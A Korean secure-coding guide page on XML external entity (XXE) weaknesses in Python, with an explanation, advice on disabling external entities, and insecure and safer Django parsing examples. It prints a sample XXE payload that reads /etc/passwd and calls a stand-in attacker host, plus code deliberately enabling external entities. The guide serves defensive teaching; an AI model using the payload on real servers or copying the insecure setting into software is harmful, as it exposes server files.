[시큐어코딩 가이드] 부적절한 XML 외부 개체 참조

 

 

 

■ 입력데이터 검증 및 표현

 

프로그램 입력 값에 대한 검증 누락 또는 부적절한 검증, 데이터의 잘못된 형식지정, 일관되지 않은 언어셋 사용 등으로 인해 발생되는 보안약점으로 SQL 삽입, 크로스사이트 스크립트(XSS) 등의 공격을 유발할 수 있다.

 

 

부적절한 XML 외부 개체 참조

 

■ 개요

 

XML 문서에는 DTD(DocumentTypeDefinition)를 포함할 수 있으며, DTD는 XML 엔티티(entitiy)를 정의한다. 부적절한 XML 외부개체 참조 보안약점은 서버에서 XML 외부엔티티를 처리할 수 있도록 설정된 경우에 발생할 수 있다.


취약한 XML parser가 외부 값을 참조하는 XML 값을 처리할 때, 공격자가 삽입한 공격 구문이 동작되어 서버 파일 접근, 불필요한 자원 사용, 인증 우회, 정보 노출 등이 발생할 수 있다. Python에서는 간단한 XML 데이터 구문 분석 및 조작에 사용할 수 있는 기본 XML 파서가 제공된다. 

 

이 파서는 유효성 검사와 같은 고급 XML 기능은 지원하지 않는다. 기본 제공되는 XML 파서는 외부 엔티티를 지원하지 않지만 다른 XML 공격에 취약할 수 있다. 기본 제공되는 파서의 기능 외에 더 많은 기능이 필요한 경우에 lxml과 같은 라이브러리를 사용하게 되는데 이 라이브러리에서는 기본적으로 외부 엔티티의 구문 분석이 활성화 되어 있다.

 

 

■ 안전한 코딩 기법

 

로컬 정적 DTD를 사용하도록 설정하고, 외부에서 전송된 XML 문서에 포함된 DTD를 완전하게 비활성화해야 한다. 비활성화를 할 수 없는 경우에는 외부 엔티티 및 외부 문서 유형 선언을 각 파서에 맞는 고유한 방식으로 비활성화 한다.


외부 라이브러리를 사용할 경우 기본적으로 외부 엔티티에 대한 구문 분석 기능을 제공하는지 확인하고 제공할 경우 해당 기능을 비활성화 할 수 있는 방법을 확인하여 외부 엔티티 구문 분석 기능을 비활성화 한다.

 

많이 사용하는 XML 파서의 한 종류인 lxml의 경우 외부 엔티티 구문 분석 옵션인 resolve_entities 옵션을 비활성화 하여야 한다. 또한 외부 문서를 조회할 때 네트워크 액세스를 방지하는 no_network 옵션이 활성화(True) 되어 있는지도 확인하여야 한다.

 

 

코드예제

 

다음 예제는 XML 소스를 읽어서 분석하는 코드이다. 공격자는 아래와 같이 XML 외부 엔티티를 참조하는 xxe.xml 데이터를 전송하고, 이를 파싱 할 때 /etc/passwd 파일을 참조할 수 있다.

 

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe1 SYSTEM "file:///etc/passwd" >
<!ENTITY xxe2 SYSTEM "http://attacker.com/text.txt">
]>
<foo>&xxe1;&xxe2;</foo>

 

안전하지 않은 코드의 예
from xml.sax import make_parser
from xml.sax.handler import feature_external_ges
from xml.dom.pulldom import parseString, START_ELEMENT
from django.shortcuts import render
from .model import comments

def get_xml(request):
if request.method == “GET”:
data = comments.objects.all()
com = data[0].comment
return render(request, '/xml_view.html', {'com':com})

elif request.method == “POST”:
parser = make_parser()
parser.setFeature(feature_external_ges, True)
doc = parseString(request.body.decode(‘utf-8’), parser=parser)
for event, node in doc:
if event == START_ELEMENT and node.tagName == “foo”:
doc.expandNode(node)
text = node.toxml()
comments.objects.filter(id=1).update(comment=text);
return render(request, '/xml_view.html')

 

XML을 파싱 할 때 텍스트 값을 entities로 변환해 주는 옵션인 resolve_entities 기능을 False(default: True)로 설정해야 한다. 또한 연결된 파일의 네트워크 연결을 막아주는 no_network 값을 True(default: True)로 설정해야 한다.

 

안전한 코드의 예
from xml.sax import make_parser
from xml.sax.handler import feature_external_ges
from xml.dom.pulldom import parseString, START_ELEMENT
from django.shortcuts import render
from .model import comments

def get_xml(request):
if request.method == “GET”:
data = comments.objects.all()
com = data[0].comment
return render(request, '/xml_view.html', {'com':com})

elif request.method == “POST”:
parser = make_parser()
parser.setFeature(feature_external_ges, False)
doc = parseString(request.body.decode(‘utf-8’), parser=parser)
for event, node in doc:
if event == START_ELEMENT and node.tagName == “foo”:
doc.expandNode(node)
text = node.toxml()
comments.objects.filter(id=1).update(comment=text);
return render(request, '/xml_view.html')

 

 

댓글

Designed by JB FACTORY